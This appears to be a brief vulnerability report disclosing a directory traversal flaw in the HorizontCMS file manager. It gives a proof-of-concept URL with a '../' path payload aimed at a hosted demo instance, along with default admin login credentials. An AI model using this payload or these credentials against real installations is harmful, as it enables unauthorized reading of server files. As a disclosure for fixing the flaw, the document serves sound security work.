The File Manager has vulnerable with Directory traversal. PoC link:

http://horizontcms.herokuapp.com/admin/file-manager/index?path=/../../../../../&mode=embed&CKEditor=editor&CKEditorFuncNum=1&langCode=en

username: admin
password: admin